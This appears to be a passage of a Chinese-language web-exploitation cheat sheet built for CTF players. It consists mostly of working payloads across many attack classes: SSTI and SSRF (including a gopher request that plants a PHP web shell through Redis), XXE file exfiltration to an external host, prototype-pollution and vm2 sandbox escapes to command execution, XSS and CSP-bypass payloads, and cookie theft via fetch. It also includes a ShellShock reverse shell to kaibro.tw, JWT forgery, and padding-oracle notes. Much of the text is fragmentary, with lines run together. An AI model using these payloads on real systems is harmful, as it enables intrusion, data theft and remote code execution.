v1.3.20{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
v1.4.0-v1.4.9{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
v1.5.0-v1.5.8{{ [].pop.constructor('alert(1)')() }}
2.8 v1.6.0-1.6.6{{constructor.constructor('alert(1)')()}}
%
%(passowrd)s
即可偷到密碼:userdata = {"user" : "kaibro", "password" : "ggininder" }
passwd = raw_input("Password: ")
if passwd != userdata["password"]:
print ("Password " + passwd + " is wrong for user %(user)s") % userdata
f
a="gg"
b=f"{a} ininder"
>>> gg ininder
f"{os.system('ls')}"
http://blog.portswigger.net/2015/08/server-side-template-injection.html
Webhook
From XXE to SSRF
<!ENTITY xxe SYSTEM "http://192.168.1.1/secret">
PDF generator / HTML renderer
<iframe src="file:///C:/Windows/System32/drivers/etc/hosts>
Open Graph
<meta property="og:image" content="http://kaibro.tw/ssrf">
SQL Injection
?id=1 union select 1,2,UTL_HTTP.request('http://10.0.0.1/secret') from dual
SVG parsing
<?xml version="1.0" encoding="UTF-8" standalone="no"?><svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><image height="200" width="200" xlink:href="http://<EXAMPLE_SERVER>/image.jpeg" /></svg>
ImageTragick
push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context
HTTPoxy
Proxy
代入成環境變數 HTTP_Proxy
Proxy: http://evil.com:12345/
XSLT
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://yourserver.com/anything
#EXT-X-ENDLIST
127.0.0.1
127.00000.00000.0001
localhost
127.0.1
127.1
0.0.0.0
0.0
0
::1
::127.0.0.1
::ffff:127.0.0.1
::1%1
127.12.34.56 (127.0.0.1/8)
127.0.0.1.xip.io
http://2130706433 (decimal)
http://0x7f000001
http://017700000001
http://0x7f.0x0.0x0.0x1
http://0177.0.0.1
http://0177.01.01.01
http://0x7f.1
http://[::]
http://ⓀⒶⒾⒷⓇⓄ.ⓉⓌ
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
127.0.0.1:80
=> OK127.0.0.1:87
=> Timeout127.0.0.1:9487
=> Timeoutfile protocol
file:///etc/passwd
file:///proc/self/cmdline
file:///proc/self/exe
file:///proc/self/environ
curl file://google.com/etc/passwd
netdoc
亦可)Libreoffice CVE-2018-6871
WEBSERVICE
讀本地檔案,e.g./etc/passwd
=COM.MICROSOFT.WEBSERVICE("http://kaibro.tw/"&COM.MICROSOFT.WEBSERVICE("/etc/passwd"))
gopher://127.0.0.1:5278/xGG%0d%0aININDER
Struts2
action:
、redirect:
、redirectAction:
index.do?redirect:${new java.lang.ProcessBuilder('id').start()}
ElasticSearch
9200
Redis
6379
FLUSHALL
SET myshell "<?php system($_GET['cmd']) ?>"
CONFIG SET DIR /www
CONFIG SET DBFILENAME shell.php
SAVE
QUIT
gopher://127.0.0.1:6379/_FLUSHALL%0D%0ASET%20myshell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0D%0ACONFIG%20SET%20DIR%20%2fwww%2f%0D%0ACONFIG%20SET%20DBFILENAME%20shell.php%0D%0ASAVE%0D%0AQUIT
FastCGI
<?php header( "Location: gopher://127.0.0.1:9000/x%01%01Zh%00%08%00%00%00%01%00%00%00%00%00%00%01%04Zh%00%8b%00%00%0E%03REQUEST_METHODGET%0F%0FSCRIPT_FILENAME/www//index.php%0F%16PHP_ADMIN_VALUEallow_url_include%20=%20On%09%26PHP_VALUEauto_prepend_file%20=%20http://kaibro.tw/x%01%04Zh%00%00%00%00%01%05Zh%00%00%00%00" );
<?php system($_GET['cmd']); ?>
/forum.php?mod=ajax&action=downremoteimg&message=[img]http://kaibro.tw/302.php?.jpg[/img]
MySQL
gopher://127.0.0.1:3306/_<PAYLOAD>
MSSQL
Tomcat
tomcat-users.xml
讀,或是踹預設密碼Docker
docker -H tcp://ip xxxx
ImageMagick - CVE-2016-3718
push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context
$ convert ssrf.mvg out.png
curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=XXXXXXXXXXXXXXXXXXX"
curl "https://www.googleapis.com/storage/v1/b?project=<your_project_id>" -H "Authorization: Bearer ya29..."
(list buckets)Metadata: true
headerSECCON 2017 SqlSRF:
127.0.0.1 %0D%0AHELO sqlsrf.pwn.seccon.jp%0D%0AMAIL FROM%3A %3Ckaibrotw%40gmail.com%3E%0D%0ARCPT TO%3A %3Croot%40localhost%3E%0D%0ADATA%0D%0ASubject%3A give me flag%0D%0Agive me flag%0D%0A.%0D%0AQUIT%0D%0A:25/
dict://evil.com:5566
$ nc -vl 5566
Listening on [0.0.0.0] (family 0, port 5278)
Connection from [x.x.x.x] port 5566 [tcp/*] accepted (family 2, sport 40790)
CLIENT libcurl 7.35.0
-> libcurl version
sftp://evil.com:5566
$ nc -vl 5566
Listening on [0.0.0.0] (family 0, port 5278)
Connection from [x.x.x.x] port 5278 [tcp/*] accepted (family 2, sport 40810)
SSH-2.0-libssh2_1.4.2
-> ssh version
tftp://evil.com:5566/TEST
SSRF Bible:
https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit
Testing Payload:
https://github.com/cujanovic/SSRF-Testing
<!DOCTYPE kaibro[
<!ENTITY param "hello">
]>
<root>¶m;</root>
libxml2.9.0
以後,預設不解析外部實體simplexml_load_file()
舊版本中預設解析實體,但新版要指定第三個參數 LIBXML_NOENT
SimpleXMLElement
is a class in PHP
<!DOCTYPE kaibro[
<!ENTITY xxe SYSTEM "http://kaibro.tw/xxe.txt">
]>
<root>&xxe;</root>
<!DOCTYPE kaibro[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
<!DOCTYPE kaibro[
<!ENTITY xxe SYSTEM "\\12.34.56.78">
]>
<root>&xxe;</root>
<!DOCTYPE kaibro[
<!ENTITY % remote SYSTEM "http://kaibro.tw/xxe.dtd">
%remote;
]>
<root>&b;</root>
xxe.dtd: <!ENTITY b SYSTEM "file:///etc/passwd">
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/xxe/test.php">
<!ENTITY % remote SYSTEM "http://kaibro.tw/xxe.dtd">
%remote;
%all;
%send;
]>
xxe.dtd:
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://kaibro.tw/?a=%file;'>">
把特殊字元塞進 CDATA 解決無法讀取問題
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM "http://kaibro.tw/cdata.dtd">
%dtd;
%all;
]>
<root>&f;</root>
cdata.dtd:
<!ENTITY % file SYSTEM "file:///var/www/html/flag.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY f '%start;%file;%end;'>">
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE ernw [
<!ENTITY xxe SYSTEM "phar:///var/www/html/images/gginin/xxxx.jpeg" > ]>
<svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-family="Verdana" font-size="16" x="10" y="40">&xxe;</text>
</svg>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message[
<!ELEMENT message ANY >
<!ENTITY % NUMBER '<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%NUMBER;
]>
<message>a</message>
<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://kaibro.tw:22/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body>
<?xml version="1.0" encoding="UTF-8"?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="http://kaibro.tw/file.xml"></xi:include>
</root>
Read local file:
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
goodshit = {}
goodshit.__proto__.password = "ggininder"
user = {}
console.log(user.password)
# => ggininder
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
# => 1 2
o3 = {}
console.log(o3.b)
# => 2
CVE-2019-11358
$.extend
let a = $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode); // true
SNYK-JS-LODASH-608086
setWith()
, set()
setWith({}, "__proto__[test]", "123")
set({}, "__proto__[test2]", "456")
CVE-2020-8203
zipObjectDeep()
zipObjectDeep(['__proto__.z'],[123])
console.log(z)
=> 123CVE-2019-10744
defaultsDeep()
{"type":"test","content":{"prototype":{"constructor":{"a":"b"}}}}
CVE-2018-16487 / CVE-2018-3721
merge()
, mergeWith()
, defaultsDeep()
var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
_.merge({}, JSON.parse(malicious_payload));
const { exec, execSync, spawn, spawnSync, fork } = require('child_process');
// pollute
Object.prototype.env = {
NODE_DEBUG : 'require("child_process").execSync("touch pwned")//',
NODE_OPTIONS : '-r /proc/self/environ'
};
// method 1
fork('blank');
// method 2
spawn('node', ['blank']).stdout.pipe(process.stdout);
// method 3
console.log(spawnSync('node', ['blank']).stdout.toString());
// method 4
console.log(execSync('node blank').toString());
({}).__proto__.NODE_OPTIONS = '--require=./malicious-code.js';
console.log(spawnSync(process.execPath, ['subprocess.js']).stdout.toString());
({}).__proto__.NODE_OPTIONS = `--experimental-loader="data:text/javascript,console.log('injection');"`;
console.log(spawnSync(process.execPath, ['subprocess.js']).stdout.toString());
Object.prototype.shell
,則 spawn 任意指令都可 RCEconst child_process = require('child_process');
Object.prototype.shell = 'node';
Object.prototype.env = {
NODE_DEBUG : '1; throw require("child_process").execSync("touch pwned").toString()//',
NODE_OPTIONS : '-r /proc/self/environ'
};
child_process.execSync('id');
補充:蓋環境變數的各種玩法 (https://blog.p6.is/Abusing-Environment-Variables/)
Example
a = {}
a["__proto__"]["exports"] = {".":"./pwn.js"}
a["__proto__"]["1"] = "./"
require("./index.js")
高版本 gadget
{
"__proto__":{
"data":{
"name":"./usage",
"exports":"./preinstall.js"
},
"path":"/opt/yarn-v1.22.19/",
"shell":"sh",
"contextExtensions":[
{
"process":{
"env":{
"npm_config_global":"1",
"npm_execpath":""
},
"execPath":"wget\u0020http://1.3.3.7/?p=$(/readflag);echo"
}
}
],
}
}
Example
outputFunctionName
Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').exec('touch pwned');x";
res.render('index.ejs', req.body);
req.body
會污染到 options
進而污染到 outputFunctionName
(HPP)<script>alert(1)</script>
<svg/onload=alert(1)>
<img src=# onerror=alert(1)>
<a href="javascript:alert(1)">g</a>
<input type="text" value="g" onmouseover="alert(1)" />
<iframe src="javascript:alert(1)"></iframe>
<script>alert(1)</script>
'"><script>alert(1)</script>
<img/src=@ onerror=alert(1)/>
'"><img/src=@ onerror=alert(1)/>
' onmouseover=alert(1) x='
" onmouseover=alert(1) x="
`onmouseover=alert(1) x=`
javascript:alert(1)//
//
(javascript 註解) 被過濾時,可以利用算數運算符代替
<a href="javascript:alert(1)-abcde">xss</a>
<ScRipT>
<img SrC=#>
src="#"
src='#'
src=#
src=`#`
(IE)<svg/onload=alert(1)>
<svg/onload=alert(1)>
(16進位) (分號可去掉)<img/src='1'/onerror=alert(0)>
<script>onerror=alert;throw 1</script>
<script>{onerror=alert}throw 1</script>
<script>throw onerror=alert,1</script>
<script>throw[onerror]=[alert],1</script>
<script>var{a:onerror}={a:alert};throw 1</script>
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
<script>new Function
X${document.location.hash.substr1
}</script>
特殊標籤
<title>
, <textarea>
, <iframe>
, <plaintext>
, <noscript>
...innerHTML
<script>
不會被 trigger<img src=@ onerror=alert()>
<svg>
trick
<svg><svg onload=alert()>
Protocol
<a href=javascript:alert(1) >xss</a>
<iframe src="javascript:alert(1)">
<a href="javascript://%0aalert(1)">XSS</a>
<script>location.protocol='javascript'</script>
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>xss</a>
Javascript 自解碼機制
<input type="button" onclick="document.write('<img src=@ onerror=alert(1) />')" />
alert(1)
,因為 javascript 位於 HTML 中,在執行 javascript 前會先解碼 HTML 編碼<script>
中的 javascript,不會解碼 HTML 編碼&#xH;
(hex), &#D;
(dec) 形式Javascript 中有三套編碼/解碼函數
一些 alert(document.domain)
的方法
(alert)(document.domain);
al\u0065rt(document.domain);
al\u{65}rt(document.domain);
[document.domain].map(alert);
window['alert'](document.domain);
alert.call(null,document.domain);
alert.bind()(document.domain);
Some Payload
<svg/onload=alert(1);alert(2)>
<svg/onload="alert(1);alert(2)">
<svg/onload="alert(1);alert(2)">
;;
改成 ;
會失敗<svg/onload=\u0061\u006c\u0065\u0072\u0074(1)>
\u
形式只能用在 javascript,例如 onload
的 a
改成 \u0061
會失敗<title><a href="</title><svg/onload=alert(1)>
<svg><script>prompt(1)</script>
<svg>
,HTML Entities 會被解析<svg>
會失敗,<script>
不會解析Entities<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<% foo="><script>alert(1)</script>">
Markdown XSS
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)
SVG XSS
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>
<iframe srcdoc="<svg/onload=alert(document.domain)>">
.wave
檔 (會檢查 signatures)
RIFF`....WAVE...`
alert(1);
function RIFF(){}
<script src="uploads/this_file.wave">
:~:text=xxx
https://csp-evaluator.withgoogle.com/
base
<base href ="http://kaibro.tw/">
script nonce
<p>可控內容<p>
<script src="xxx" nonce="AAAAAAAAAAA"></script>
插入<script src="http//kaibro.tw/uccu.js" a="
<p><script src="http//kaibro.tw/uccu.js" a="<p>
<script src="xxx" nonce="AAAAAAAAAAA"></script>
Script Gadget
<div data-toggle=tooltip data-html=true title='<script>alert(1)</script>'></div>
<div data-role=popup id='--><script>alert(1)</script>'></div>
<a id=CLOSURE_BASE_PATH href=http://attacker/xss></a>
<div data-dojo-type="dijit/Declaration" data-dojo-props="}-alert(1)-{">
<div type=underscore/template> <% alert(1) %> </div>
google analytics ea
known jsonp endpoint
https://accounts.google.com/o/oauth2/revoke?callback=alert(1)
https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1
PHP Warnings
header()
is called, the call will be ignored because the response was already sent to the user and headers must be sent first.$_GET
/ $_POST
: maximum 1000 parametersDNS prefetch
<link rel="dns-prefetch" href="https://data.example.com">
WebRTC
default-src 'none'; script-src 'unsafe-inline';
async function a(){
c={iceServers:[{urls:"stun:{{user.id}}.x.cjxol.com:1337"}]}
(p=new RTCPeerConnection(c)).createDataChannel("d")
await p.setLocalDescription()
}
a();
text/rdf
/ application/rdf+xml
text/vtt
Content-*
屬性Content-language: en
Content-type: text/html
Body:----foo----
<script>
fetch('http://orange.tw/?' + escape(document.cookie))
</script>
----foo----
$.getJSON
/ $.ajax
XSS
http://kaibro.tw/x.php?callback=anything
a%2findex.php
當成一個檔案a/index.php
/test.php
中有 <link href="1/" ...>
/1/index.php
給 ?query=
參數,會直接輸出該參數內容/1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php
就會讓背景變紅色
/test.php
/1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php
/1/?query={}*{background-color:red}/../../1/
<input type='hidden' name='csrf' value='2e3d04bf...'>
input[name=csrf][value^="2"]{background: url(http://kaibro.tw/2)}
input[name=csrf][value^="2e"]{background: url(http://kaibro.tw/2e)}
window.frames.length
來判斷
#
做請求,正常不會再觸發onload事件chrome-error://chromewebdata/#
history.length
判斷<link rel=prerender href="victim.com">
<form id=test1></form>
<form name=test2></form>
<script>
console.log(test1); // <form id=test1></form>
console.log(test2); // <form name=test2></form>
console.log(document.test1); // undefined
console.log(document.test2); // <form name=test2></form>
</script>
id
屬性被當成全域變數name
屬性被當成 document
屬性<form name="getElementById"></form>
<form id="form"></form>
<script>
console.log(document.getElementById("form")); // Error
</script>
<script>
console.log("I'll be executed!");
</script>
這裡第一個 script block 因為錯誤被跳過,第二個 script block 依舊會執行 (常拿來繞檢查)
toString 問題
<form id=test1><input name=test2></form>
<script>
alert(test1.test2); // "[object HTMLInputElement]"
</script>
<a>
的 href
可以解決 toString 問題: <a id=test1 href=http://kaibro.tw>
alert(test1);
=> http://kaibro.tw
<form id=test1><a name=test2 href=http://kaibro.tw></form>
依舊有問題
alert(test1.test2);
=> undefined
<a id=test1>click!</a>
<a id=test1>click2!</a>
<script>
console.log(window.test1); // <HTMLCollection(2) [a#test1, a#test1, test1: a#test1]
</script>
name
屬性也會直接變成 HTMLCollection
的屬性:
<a id="test1"></a>
<a id="test1" name="test2" href="x:alert(1)"></a>
<script>
alert(window.test1.test2); // x:alert(1)
</script>
Element.attachShadow()
可以將一個 Shadow root 附加到一個元素上
{mode:"open"}
或是 {mode:"closed"}
Elements of the shadow root are accessible from JavaScript outside the root
Denies access to the node(s) of a closed shadow root from JavaScript outside it
window.find
+ -webkit-user-modify
+ document.execCommand
-webkit-user-modify:read-write
屬性,可以讓 shadow DOM 做到 contenteditable
效果window.find()
可以 focus shadow DOM 中的內容document.execCommand()
去插入 HTML,透過 svg 執行 JS 取得節點
document.execCommand('insertHTML',false,'<svg/onload=alert(this.parentNode.innerHTML)>')
php 7.1.0 後 rand()
和 srand()
已經等同 mt_rand()
和 mt_srand()
php > 4.2.0 會自動對 srand()
和 mt_srand()
播種
rand()
都 seed可以通過已知的 random 結果,去推算隨機數種子,然後就可以推算整個隨機數序列
實際應用上可能會碰到連上的不是同個 process,可以用 Keep-Alive
來確保連上同個 php process (只會 seed 一次)
7.1 以前 rand()
使用 libc random(),其核心為: state[i] = state[i-3] + state[i-31]
rand()
alias 成 mt_rand()
,採用的是 Mersenne Twister
算法Example: HITCON 2015 - Giraffe’s Coffee
user=kaibro;role=user
|
用來區隔 Block)
user=aaa|admin;ro|le=user
user=aaa|aa;role=|user
user=aaa|aa;role=|admin;ro
ECB(K, A + B + C)
的運算結果可知
...bbbb bbaa aaaa aaaa cccc ...
...???? ???? 5678 5678 ???? ...
ECB(K, "aa...a" + C[0])
這個 Block 的內容A XOR B = C
X
A XOR C XOR X
(A XOR C XOR X) XOR B = X
PKCS#7
AA AA AA AA AA AA AA 01
AA AA AA AA AA AA 02 02
AA AA AA AA AA 03 03 03
08 08 08 08 08 08 08 08
AA AA AA AA AA AA 01 01
AA AA 02 02 02 02 02 02
A||B
去解密 (A, B 是密文 Block)D(B) XOR A
D(B)
的值
01
結尾02 02
結尾,可以調整一下 A 倒數第 2 ByteD(B)[-1] XOR A[-1] = 01
D(B)[-1] = A[-1] XOR 01
D(B) XOR C
就能得到明文 ( C 為前一塊真正的密文)md5
, sha1
, sha256
...0x80
+ 一堆 0x00
+8 bytes 的長度
md5(secret+message)
secret長度
message內容
md5(secret+message+padding+任意字串)
md5(secret+message)
的值message
的值secert長度
md5(secret+message+padding+任意字串)
和 message+padding+任意字串
噴給你Information leak
文件解析漏洞
cgi.fix_pathinfo=1
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
kaibro.jpg/.php
生成shell.phpAWS常見漏洞
nslookup 87.87.87.87
s3-website-us-west-2.amazonaws.com.
bucketname.s3.amazonaws.com
aws s3 ls s3://bucketname/ --region regionname
aws sync s3://bucketname/ localdir --region regionname
JWT (Json Web Token)
重置算法 None
import jwt; print(jwt.encode({"userName":"admin","userRoot":1001}, key="", algorithm="none"))[:-1]
降級算法
import jwt
public = open('public.pem', 'r').read() # public key
prin(jwt.encode({"user":"admin","id":1}, key=public, algorithm='HS256'))
暴力破解密鑰
./jwtcrack eyJhbGci....
kid 參數 (key ID)
"kid" : "/etc/passwd"
"kid" : "key11111111' || union select 'secretkey' -- "
"/path/to/key_file|whoami"
jku
敏感訊息洩漏
jwt.io
常見 Port 服務
php -i | grep "Loaded Configuration File"
HTTP Method
curl -i -X OPTIONS 'http://evil.com/'
if(request.method == get) {...} else {...}
GET
請求,也會自動接受 HEAD
(ref)ShellShock
() { :; }; echo vulnerable
() { :a; }; /bin/cat /etc/passwd
() { :; }; /bin/bash -c '/bin/bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'
X-forwarded-for 偽造來源IP
Client-IP
X-Client-IP
X-Real-IP
X-Remote-IP
X-Remote-Addr
X-Host
X-Forwarded-For
header,可以讓真實 IP 被包在 IP list 中間 (Spoofing)DNS Zone Transfer
dig @1.2.3.4 abc.com axfr
1.2.3.4
abc.com
IIS 短檔名列舉
administrator
可以簡寫成 admini~1
webClient.DownloadString("http://../inetpub/wwwroot/aspowertools/FLAGFL~1.MAS")
java -jar iis_shortname_scanner.jar 2 20 http://example.com/folder/
ASP.net Cookieless DuoDrop (CVE-2023-36899 & CVE-2023-36560)
/WebForm/(S(X))/prot/(S(X))ected/target1.aspx
/WebForm/(S(X))/b/(S(X))in/target2.aspx
/WebForm/pro/(S(X))tected/target1.aspx/(S(X))/
/WebForm/b/(S(X))in/target2.aspx/(S(X))/
/(S(x))/b/(S(x))in/ASPowerTools.dll
/(S(X))/prot/(S(X))ected/login.aspx
NodeJS unicode failure
NN
=> ..
N
即 \xff\x2e
特殊的 CRLF Injection 繞過
%E5%98%8A
U+560A
0x56
, 0x0A
MySQL utf8 v.s. utf8mb4
Proxy 相關
/path;param/abcd
=> `/path/abcd/path;param/abcd
=> /path
..;
/manager
/docs/..;/manager/html
/docs/..;/manager/html
/manager/html
/console/
(location ~* /console/
)
/..;/console;/flag
/..;/console;/flag
/console/flag
/admin
proxy_pass http://apache
(No trailing slash,以原始資料送到後端)/admin//../flag
/flag
/admin/flag
/console
proxy_pass http://weblogic;
/
/console
/#/../console
/admin
/admin/key\x09HTTP/1.1/../../../
/
/admin/key
keep-alive
+ CONNECT
+ 2xx status,會讓其處於 tunnel mode,不採用任何 rulesGunicorn SCRIPT_NAME
SCRIPT_NAME
可以改變 base path
SCRIPT_NAME=test
,/a/b/test/flag
=> /flag
SCRIPT_NAME
可以透過 HTTP Header 設定
SCRIPT_NAME: a
underscores_in_headers
才能允許 header 中的 _
Nginx internal繞過
X-Accel-Redirect
Nginx目錄穿越漏洞
location /files {
alias /home/
}
/files
沒有加上結尾 /
,而 /home/
有/files../
可以訪問上層目錄Nginx add_header
add_header
才會設定 headerNginx $url CRLF Injection
$uri
是解碼後的請求路徑,可能包含換行,有機會導致 CRLF Injection
$request_uri
proxy_pass https://volga-static-site.s3.amazonaws.com$uri;
Javascript 大小寫特性
"ı".toUpperCase() == 'I'
"ſ".toUpperCase() == 'S'
"K".toLowerCase() == 'k'
Javascript replace 特性
$
> "123456".replace("34", "xx")
'12xx56'
> "123456".replace("34", "$`")
'121256'
> "123456".replace("34", "$&")
'123456'
> "123456".replace("34", "$'")
'125656'
> "123456".replace("34", "$$")
'12$56'
Javascript Proxy
var p = new Proxy({flag: window.flag || 'flag'}, { get: () => 'nope' }
Object.getOwnPropertyDescriptor(p, 'flag')
Node.js 目錄穿越漏洞
/static/../../../foo/../../../../etc/passwd
Node.js vm escape
const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').execSync('whoami').toString()
/^[a-zA-Z0-9 ${}`]+$/g
Function`a${`return constructor`}{constructor}` `${constructor}` `return flag` ``
Node.js vm2 escape
let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
aVM2_INTERNAL_TMPNAME = {};
function stack() {
new Error().stack;
stack();
}
try {
stack();
} catch (a$tmpname) {
a$tmpname.constructor.constructor('return process')().mainModule
.require('child_process')
.execSync('echo "flag is here" > flag');
}
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("whoami").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch 123'); }
)
}
}
};
p.then();
Apache Tomcat Session 操縱漏洞
/examples/servlets /servlet/SessionExample
polyglot image + .htaccess
exif_imagetype()
中.htaccess
格式#define gg_width 1337
#define gg_height 1337
AddType application/x-httpd-php .asp
AutoBinding / Mass Assignment
@ModelAttribute
@RequestMapping(value = "/home", method = RequestMethod.GET)
public String home(@ModelAttribute User user, Model model) {
if (showSecret){
model.addAttribute("firstSecret", firstSecret);
}
return "home";
}
EL Injection / SpEL Injection
${"a".toString()}
${"".getClass()}
${applicationScope}
${sessionScope.toString()}
${pageContext.request.getSession().setAttribute("admin", true)}
${T(java.lang.Runtime).getRuntime().exec("<my command here>")}
${Class.forName('java.lang.Runtime').getRuntime().invoke(null).exec(<RCE>).getInputStream().read()}
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
GraphQL
{ __schema { types { name } } }
{__schema{types{name,fields{name}}}}
{ __type (name: "Query") { name fields { name type { name kind ofType { name kind } } } } }
{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}
"message": "Cannot query field \"one\" on type \"Query\". Did you mean \"node\"?",
{__schema}
{}
{somerandomshit}
__debug
來取得詳細資訊,例如 sql 執行語句[{ query: 'query { book(id: 1) { __typename } }' },{ query: 'query { book(id: 1) { __typename } }' }]
{"query": "query { kaibro: Query { meow } kaibro1: Query { meow } }"}
/graphql?query=query+%7B+a+%7D
x-www-form-urlencoded
仍可執行query { books { title author { title books { title author { ... } } } } }
query { book(id: 1) { __typename alias: __typename alias2: __typename alias3: __typename alias4: __typename } }
HTTP2 Push
Symlink
ln -s ../../../../../../etc/passwd kaibro.link
zip --symlink bad.zip kaibro.link
curl trick
curl 'fi[k-m]e:///etc/passwd
curl '{asd,bb}'
tcpdump
-i
指定網卡,不指定則監控所有網卡-s
默認只抓96bytes,可以-s指定更大數值-w
指定輸出檔host
指定主機(ip or domain)dst
, src
來源或目的端port
指定端口tcp
, udp
, icmp
指定協議tcpdump -i eth0 src 192.168.1.34 and dst port 80
tcpdump -i eth0 'src 192.168.1.34 and (dst port 22 or 3389)'
tcpdump -i eth0 src kaibro.tw -w file.cap
